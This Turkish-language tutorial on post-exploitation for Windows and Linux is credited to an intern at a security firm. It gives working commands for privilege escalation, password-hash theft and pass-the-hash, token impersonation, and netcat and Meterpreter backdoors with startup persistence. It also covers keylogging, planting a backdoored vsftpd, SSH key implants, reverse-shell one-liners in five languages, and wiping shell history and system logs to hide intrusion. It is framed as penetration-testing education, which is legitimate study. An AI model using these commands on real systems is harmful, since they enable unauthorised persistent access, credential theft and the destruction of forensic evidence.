Post exploitation, hedef sisteme erişim sağlandıktan ve yetkiler yükseltildikten (root) sonra başlayan bir süreçtir. Yani erişim sağladıktan sonra bu erişimin kalıcı hale getirilmesi ve sürdürülmesi amaçlanır. Bir kere girebildiğimiz bir sistemi her seferinde tekrar açıklığı kullanıp hacklemek uzun bir uğraş ister ve sistemdeki bu açık farkedilip kapatılırsa sisteme giriş hakkını kaybetmiş oluruz başka bir açık bulmayı denemeye başlarız. Bu sıkıntılı süreç yerine genellikle bir kere hackleyip sistemi ele geçirdiğimizde kendimize istediğimiz zaman girebileceğimiz bir giriş olanağı oluştururuz.
Sisteme erişim sağlandığında genelde sınırlı haklara sahip bir session'da oluruz, ve önemli dosya/dizinlerde ki işlemler, registry üzerindeki işlemler , backdoor/rootkit gibi araçların sisteme kurulması gibi işlemler için yetki sahibi olmayız. Bu yüzden yetkilerin yönetici seviyesine yükseltmek isteriz. Meterpreter üzerinde ki “getsystem” scripti system seviyesindeki hakları almak için bir kaç teknik kullanarak hak yükseltmeyi dener. Getsystem'in başarılı olma ihtimali düşüktür, genelde privilege escalation için local exploitler kullanılır ve gerekli yetkiler elde edilmiş olur.
Privelege escalation'dan sonra sisteme erişimi sürdürmek için çeşitli yöntem ve tekniklere başvurulabilir.
Örneğin bu yöntemlerden biri sistemdeki yöneticilerin parolalarının hash'lerini alarak sisteme daha sonra erişmek üzere kullanabiliriz. Hash'lerin elde edilmesi ve kırılması ile ilgili bilgiler “Parola Kırma” isimli makalemizde mevcuttur. Metasploit üzerindeki scriptlerden olan “psexec” aracı yardımıyla hashleri kırmamıza gerek kalmadan giriş yapabiliriz. Önce meterpreter session'ında iken “hashdump” scripti ile hash'leri çekelim.
Görüldüğü gibi hash'in kırılmış hali btrisk olarak görülmektedir. Ancak kıramadığımız durumda bile psexec aracına bu hash'i vererek giriş yapabilmekteyiz.
Meterpreter session'ı aldığımız anda istersek meterpreter üzerinden istersek sistemden terminal shell'i açarak istediğimiz işlemleri gerçekleştirebiliriz. Ele geçirilen sisteme ait bir shell terminal açmak için “shell” komutu kullanılır. Shell ekranına geçtikten sonra işletim
sisteminin istenilen komutları çalıştırılabilir.
Artık işletim sisteminde istenilen komutlar çalıştırılabilir. Örneğin host dosyasını güncelleyelim
Bir diğer seçenek olarak kendimize sisteme tekrar giriş yapmak için kullanabileceğimiz bir yönetici hesabı oluşturmak olabilir.
Bunun için windows için shell açtıktan sonra net user komutu kullanılabilir.
Bunun için windows için shell açtıktan sonra net user komutu kullanılabilir.
#net user btrisk password /add komutu ile btrisk isminde ve şifresi password olan bir kullanıcı oluşturabiliriz.
#net localgroup administrators btrisk /add komutu ile btrisk kullanıcısını admin grubuna ekleyerek yönetici yapabiliriz.
Ancak sistem sahipleri yeni oluşturulan kullanıcıları rahat farkedebilecekleri için bu yöntem yakalanma ithimali yüksel olan bir çözüm olur.
Token Stealing (Incognito)
Windows işletim sisteminde giriş yapan kullanıcılar için bir token ataması yapılır, ve bundan sonraki yapacağı işlemler için (örneğin dosya erişimi) her seferinde yetki kontrolü yapmak yerine bu token kullanılır. Bu token'lara ulaşılması yetki sahibiymiş gibi hareket etmemizi sağlar. Web uygulamalarında ki cookie gibi çalışır, ve cookie stealing mantığıyla benzer şekilde çalınır. Meterpreter shell'e ulaştıktan sonra token'ları manipüle etmek için incognito aracından faydalanırız.
Bu aracı > use incognito komutu ile kullanabiliriz.
help komutu ile yapabileceğimiz işlemleri görüntüleriz. Sistemdeki token'ları listeledikten sonra impersonate_token komutu ile belirttiğimiz token'ın kendi oturumumuza kopyalanmasını sağlarız.
“list_tokens -u” komutuyla sistemdeki token'ları listeleyebiliriz.
“impersonate_token” komutu yardımıyla da token'i kendimize kopyalarız.
Ayrıca bir diğer yolu ps komutu ile çalışan process'ler listelendiğinde, token'ı çalmak istediğimiz kullanıcının çalıştırdığı bir process bulup , o process'in PID'ini kullanarak tokeni kopyalayabiliriz.
Netcat ile Backdoor Oluşturmak
Meterpreter bağlantısı tek seferliktir ve bağlantı bir şekilde koptuktan sonra örneğin hedef bilgisayar kapatılırsa shell'i kaybetmiş oluruz. Bu yüzden kalıcı bir arka kapı oluşturup sisteme erişimi sürekli hale getirebiliriz. Hedef sisteme Netcat aracını yükleyip bir portu dinlemesi sağlanabilir. Sürekliliği sağlamak için ise netcat başlangıçta çalıştırılan programlar listesine eklenmelidir.
İlk olarak karşı sisteme netcat'i yükleyelim.
Daha sonra kayıt defterinde “HKLM\software\microsoft\windows\currentversion\run” girdisini düzenleyerek nc.exe programının bilgisayar her başlatıldığında çalışması için ve 5555 portunu dinlemesi sağlayacağız.
Daha sonra sistemde firewall'un bizim giriş yapacağımız porta izin vermesini sağlamalıyız. Bunun için bir interactive shell açtıktan sonra windowsta kullanılacak komutlar aşağıdaki gibidir :
Netcat bilgisayar başlarken çalışır ve 5555 portunu dinler. Ayarların düzgün çalıştığı görülüyor. Artık istediğimiz zaman bu port aracılığıyla hedef sisteme girebiliriz. Genelde gerçek senaryolarda bu kadar basit bir backdoor konulmaz çünkü o portun açık olduğunu gören (yani basitce nmap scan yapan) herhangi biri sistemi ele geçirebilir.
> netsh firewall show opmode = firewall durumunu gösterir
> netsh firewall add portopening TCP 5555 "Service Firewall" ENABLE ALL = porta izin verir.
> netsh firewall show portopening = açık portları listeler
Daha sonra hedef makinaya reset atıp portta dinleme yapıp yapmadığını kontrol edelim.
Netcat bilgisayar başlarken çalışır ve 5555 portunu dinler. Ayarların düzgün çalıştığı görülüyor. Artık istediğimiz zaman bu port aracılığıyla hedef sisteme girebiliriz. Genelde gerçek senaryolarda bu kadar basit bir backdoor konulmaz çünkü o portun açık olduğunu gören (yani basitce nmap scan yapan) herhangi biri sistemi ele geçirebilir.
Metsvc ile Backdoor Oluşturmak (Servis başlatmak)
Meterpreter üzerindeki script'lerden olan Metsvc sistem üzerinde bir servis çalıştırarak bize giriş imkanı sunar. Bu yöntemin dezavantajı bir authentication mekanizması olmadığı için porta bağlantı kuran herkes backdoor'u kullanabilir ve sisteme sızabilir. Sistemde ki açık bulunan servisi exploit ettikten sonra migrate komutu ile başka bir process'e bağlanmak genellikle iyi bir alışkanlıktır, çünkü sistem yöneticisi exploit edilen servisin yanıt vermediğini farkedip process'i sonlandırabilir, bu durum da bizde bağlantıyı kaybederiz. Migrate ile başka process'e bağlanmak bu ihtimalin hesaba katılması açısından önlemidir. Örneğin explorer.exe'ye bağlanmak için > “migrate 128” komutu kullanılır . (PID = 128 , explorer.exe). Metsvc scriptini çalıştırmak için “run metsvc” komutu çalıştırılır.
Görüldüğü gibi 31337 portunda bir servis açıldı. Artık bu port bizim için backdoor görevi görecek.
Servis bağlantı kurmaya hazır olarak portu dinlemektedir. Bağlantı kurmak için multi/handler kullanılabilir, ve payload olarak “windows/metsvc_bind_tcp” seçilir.
Packet Sniffing
Paket dinlemesi yapmak için “sniffer” scripti kullanılabilir.
Paket dinlemesi yapmak için “sniffer” scripti kullanılabilir.
Sniffer' a alternatif olarak ayrıca “packetrecorder” isimli bir script'te bulunmaktadır. Bir süre sonra kayıtları dump ettiğimizde /tmp klasörü altında paket kayılarını buluruz.
Persistence (kalıcı) Backdoor Oluşturuma
Meterpreter scriptlerinden olan persistence scripti kullanılır. -h parametresi ile kullanımı incelenebilir.
'U' parametresi ile kullanıcının oturumu her açmasında çalışmasını ve 'i' 5 saniyede bir bağlantıyı kontrol etmesini söyleyebiliriz.
Kalıcı backdoor'umuz oluşturuldu. Şimdi test etmek için öncelikle kendi konsolumuzda exploit/multi/handler exploitini açıp payload olaraka meterpreter/reverse_tcp eklemesi yaparız IP ve Port ayarından sonra hedef sisteme reset atarsak tekrar açılıştan sonra hedef kullanıcı giriş yaptığında meterpreter shell'ine yine ulaşabildiğimizi görebiliriz.
Rootkit Yüklemek
Rootkit sistemde kendisini gizleyen ve sahibine kalıcı erişim sağlayacak şekilde sisteme yerleşen bir yazılımdır. Hedef sistemde rootkit dosyası çalıştırıldığı andan itibaren rootkit'e ait dosyalar, process tablosundaki girdisi, dinlediği port, kayıt defteri girdileri gibi kendisine ait olan herşeyi gizler. Aslında bu gizlemenin mantığında sistem komutlarının güncellenmesi yatar. Örneğin 'ls' komutu dizinin içeriğini listeler, rootkit bu komutu şöyle günceller: rootkite ait olmayan dosyaları listele. Eğer rootkit'in bir dosyası varsa gösterilmez. Böylece gizlenmiş olur. Başlangıca eklendiği için reboot sonrasında da erişilebilecek şekildedir yani süreklilik sağlanmıştır. Bir authantication mekanizması kullanılır ve servis çalıştırmak gibi herkes tarafından görülüp ele geçirilebilecek veya sistem yöneticileri tarafından farkedilip kapatılabilecek bir yapıda değildir. Bunun aksine kendini tamamen gizler. User level ve Kernel level olmak üzere 2 çeşiti vardır. Rootkit'leri genelde sistemde çalıştırabilmek için root yetkisine sahip olmak gerekir.
Dosya Aramak
Meterpreter'de search isimli komut çok kullanışlıdır ve ele geçirilen sistem üzerinde içerik dosya aramak için kullanılabilir.
Keyscan ile Klavye Kullanımını Kaydetmek ( Keyloggor )
Meterpreter shell üzerinde kullanışlı scriptlerden olan keyscan ile keystroke'ları kayıt altına alabiliriz. Keyscan_start ile kayıt başlatılır ve keystroke_dump ile ise bu kayıtlar çekilir.
Dosya Sistemi Üzerinde Bıraktığımız İzleri Temizlemek
Timestomp scripti aracılığıyla dosya hakkındaki Access,Modify,Create time girdilerini değiştirebiliriz. Böyle örneğin önemli bir dosyaya yakın zamanda bir erişim yapıldığını gizleyebiliriz. Forensic incelemelerinde dosya sisteminde ki izler büyük önem taşır
Logları Temizlemek
Meterpreter üzerinde winenum scripti kullanılarak loglar kolaylıkla temizlenebilir. Öncelikle hedef sistemde log kayıtlarını görüntülersek ;
'client.sys.eventlog.open('system')' komutu system loglarının açılmasını sağlar ve log değişkenine atanır.
Log.clear komutu ile de tümünü temizleriz. Şimdi sonucu kontrol etmek için hedef sistemde event
viewer görüntülenirse System loglarının tamamen temizlendiği görülür;
Remote Desktop
RDP Protokolünü kullanarak uzak masaüstü bağlantısı sağlanabilir. Bunun için sistemde varolan bir kullanıcı hesabına sahip olmamız gereklidir. Bunun yolu yukarıda hash'lerini kırarak, windows üzerinde yeni kullanıcı ekleyerek gibi örneklerle anlatıldı. Ayrıca meterpreter ekranındayken “getgui” scripti kullanılarak yeni RDP kullanıcısı oluşturabiliriz. Bunun için kullanılacak komut: # run getgui -u Hacker -p 123456 (Windows komut satırında kullanıcı ekleme yukarıda)
İkinci olarak hedef sistemde uzak bağlantının etkin olması gereklidir. Bunu Kayıt Defteri üzerindeki fDenyTSConnections girdisini sıfırlamamız gerekir.
Başarılı şekilde giriş yapabildiğimizi görürüz;
Linux Post Exploitation
Linux terminali bize çok geniş kullanım imkanları sunar. Sistemi ele geçirdikten sonra sistem hakkında bilgi toplamak için kullanabileceğimiz bir çok faydalı komut vardır :
$ cat /etc/resolv.conf = DNS bilgisini içeren dosyayı okur
$ cat /etc/issue = Debian'da dağıtımın güncel versiyonunu görüntüler
$ cat /etc/passwd = Lokal kullanıcıların listesi
$ cat /etc/shadow = Kullanıcıların Parola Hash'leri
$ uname -a = Kernel versiyonu, mimari, dağıtım bilgileri vs.
$ ps -aux = Çalışan processler
$ id = Güncel kullanıcı adı ve grup bilgisi
$ cat /proc/cpuinfo = CPU hakkında detaylı bilgi
$ free -m = Memory (Ram) hakkında bilgi
$ df -h = Disk Alanı hakkında bilgi
$ ip addr show = ip adresi , interface'ler hakkında bilgi
$ ip route show = static routing bilgisi
$ route -n = route tablosu
$ iptables -L -v = iptables firewall kurallarının listelenmesi
$ arp -a = arp tablosu
$ netstat -an = sistemin dinlediği Portlar
$ dpkg -l = kurulu olan paketleri listeler
$ nano /etc/hosts = hosts dosyasını düzenlemek için
$ Uname -a komutuyla linux dağıtımı ve kernel hakkında bilgi edindikten sonra hak yükseltmek için local exploitler kullanmamız gerekir. Bunun için ilk aramayı searchsploit aracı yardımıyla yapabiliriz.
Privilege Escalation konusu bu makalenin kapsamı dışında olduğu için detaylı bilgi verilmeyecektir. Post exploitation tarafında devam ederken root yetkilerine sahip olduğunuz düşünülecektir.
Mevcut Kullanıcıların Şifresine Erişmek
/etc/passwd dosyası mevcut kullanıcı listesini /etc/shadow dosyası ise kullanıcıların şifrelerinin hash halini sakladığını yukarıda söylemiştik. Önce unshadow komutu ile iki dosya bağlanır ve daha sonra john the ripper aracı yardımıyla şifre kırılmaya çalışılır;
Görüldüğü gibi root şifresine kolayca erişilmiştir.
Yeni Kullanıcı Eklemek
Görüldüğü gibi useradd komutu ile kullanıcı eklenirken grubu ve uid bilgisi olarak 0 verilmiştir yani root ile aynı yetkilere sahip olacaktır. Bir diğer seçenek ise visudo komutunu çalıştırarak
# User privilege specification
root ALL=(ALL:ALL) ALL
mynewuser ALL=(ALL:ALL) ALL
bölümüne kendi oluşturduğumuz kullanıcıyıda ekleriz. Artık yeni kullanıcı sudo komutunda kendi şifresini kullanarak root gibi komut çalıştırabilir.
Hedef Sisteme Dosya Yüklemek
Karşı sisteme dosya aktarmanın yollarından biri http üzerinden aktarmamız yani kendi apache servisimizi çalıştırıp web klasörüne dosyayı koyarak karşı sistemden de çekmektir.
cp escalate /var/www/share komutu ile www klasörü altına istediğimiz dosyayı koyarız. Karşı sistemde ise wget your-IP-address/share/escalate komutu ile de indirebiliriz. Apache'ye benzer şekilde dosya paylaşımı yapmak için aynı LAN içerisindeyken simpleHTTPServer scripti kullanılabilir.
Benzer şekilde ftp servisimizi de aynı amaç için kullanabiliriz. Kendi sistemizdeki ftp server'a dosyaları yükleyip karşı cihazdayken çekebilir veya tam tersini yapabiliriz.
Linux Startup'a Program Eklemek
Hedef sisteme yükleyeceğimiz backdoor veya keylogger tarzı bir scriptin bilgisayarın her açılışında çalışmasını isteriz. Bunu sağlayabilmek için ; çalışmasını istediğimiz scripti /etc/init.d/ dizini altına atarız.
# Nano /etc/init.d/myscript.sh komutu ile dosyayı oluşturduğumuzda içeriğini aşağıdaki gibi doldururuz ;
Daha sonra # chmod 755 /etc/init.d/myscript.sh komutu ile executable (çalıştırılabilme) izni veririz. Daha sonra # update-rc.d myscript.sh defaults komutu ile başlangıca ekleriz. Artık sistemi yeniden başlattığımızda netcat'in 6666 portunu dinliyor olduğunu görürüz :
Vulnerable Servis (FTP)
Daha sonra erişim sağlamak ve dikkat çekmemek için sisteme zayıflık barındıran servis veya programlar kurulabilir. Örneğin vsftpd 2.3.4 sürümünde bir backdoor bulunmaktadır ve bu sürümdeki zafiyet kolaylıkla exploit edilebilmektedir. Sisteme bu programı kurarsak sistem sahibinin dikkaetinden kaçıp normal çalışan bir servis süsü verebilir, istediğimiz zaman da bu servisteki açıklıktan faydalanıp sisteme girebiliriz. Programı : https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz adresinden indirip kurabiliriz:
INSTALL dosyasında gösterildiği gibi make && make install şeklinde standart program kurulumu yaptıktan sonra bu program artık bizim için sisteme giriş kapımız olur. Metasploit üzerindeki exploit ile rahatlıkla zafiyeti exploit edebiliriz :
Bu zafiyetten direk telnet aracılığıyla da faydalanabiliriz. # telnet [IP] [PORT] komutu işimize yarayacaktır.
SSH Public Key Ekleme
Hedef sistem ile kendi sistemimiz arasında oluşturacağımız key'ler sayesinde şifreye ihtiyaç duymadan hedef sistemin bize güvenmesi sağlanabilir. Böylece şifre sorgulaması olmadan ssh bağlantısı kurabiliriz. Bunun için kendi lokal sistemimiz üzerinde Authentication SSH-Keygen Key'leri oluşturulur;
Daha sonra hedef sistemde .ssh isimli bir klasör oluşturmalıyız. Bunu ssh bağlantısı yardımıyla da yapabiliriz ;
# ssh user@Remote-Host mkdir -p .ssh
sorulan şifre boş bırakılır
Sonraki adımda ise oluşturulan public key hedef sisteme upload edilmelidir.
# cat .ssh/id_rsa.pub | ssh user@Remote-Host 'cat >> .ssh/authorized_keys'
Aynı işlem ssh-copy-id aracı ile de yapılabilir.
# ssh-copy-id -i ~/.ssh/id_rsa.pub Remote-Host
Gerekli durumlar da hedef sistemdeki dosyaların izinleri ayarlanmalıdır
# chmod 700 .ssh; chmod 640 .ssh/authorized_keys
Artık hedef sisteme şifre sorgusuna ihtiyaç duymadan ssh bağlantısı kurabiliriz.
Reverse Shell
Hedef sistem üzerinden açabileceğimiz reverse shell'ler sistemde yüklü olan script dilleri ile sınırlıdır diyebiliriz. Ayrıca binary dosyalar da gönderilerek çalıştırılabilir.
Örneğin netcat ile sağlayabileceğim # nc -e /bin/sh 10.0.0.1 1234 gibi bir bağlantıyı diğer diller ve bash'in yardımıyla birden çok çeşitli yöntemle de gerçekleştirebiliriz.
Bash = # bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl = # perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python = # python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP = # php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby = # ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
History Dosyasının Temizlenmesi
History komutu terminalde çalıştırılan son komutların listesini tutar. # history -c komutu ile kısa süreli komut listesini temizleriz. Ayrıca ~/.bash_history dosyasının içeriğini de temizlememiz gerekir.
# rm -rf ~/bash_history
# touch ~/bash_history
komutları ile dosyayı önce silip sonra tekrar boş olarak oluşturabiliriz. Arkamızda bıraktığımız izleri temizlemek için terminalde çalıştırdığımız komutları gizlemek ilk adım olarak sayılabilir.
Logları Temizlemek
Linux üzerinde son giriş yapan kullanıcılara ait bilgiler last, lastb, lastlog komutlarıyla görüntülenir.
Her girdi için ise bir log dosyası vardır. Giriş/çıkış işlemleriyle ilgili bu logları temizleyerek başlayabiliriz.
Komut
|
Log Dosyası
|
Tanımı
|
last
|
/var/log/wtmp
|
Başarılı giriş/çıkış bilgileri
|
lastb
|
/var/log/btmp
|
Hatalı giriş denemeleri
|
lastlog
|
/var/log/lastlog
|
En güncel girişler
|
Bu log dosyalarında ki içeriği boşaltmak için ;
# echo > /var/log/wtmp
# echo > /var/log/btmp
# echo > /var/log/lastlog
komutlarını kullanabilir, veya terminalden editor ile açarak içini temizleyebiliriz. Olaylarla ilgili loglar linux'ta /var/log dizini altında tutulur. Bu dizin altında gerekli logları editör ile açıp bize ait izleri silebiliriz. Örneğin # gedit /var/log/messages
Bu dosyaları rm komutu ile direk silmek tavsiye edilmeyen bir yöntemdir. Çünkü bu sırada bu log dosyasını kullanan başka bir program olabilir ve bu yüzden izin verilmeyebilir ayrıca log sisteminin bozulmasına sebep olabilir. Bizim amacımız ise sessizce izlerimizi temizlemektir.
Bu makale İstanbul Teknik Üniversitesi Bilgisayar Mühendisliği Bölümü öğrencisi stajyerimiz Cemal Türkoğlu tarafından geliştirilmiştir.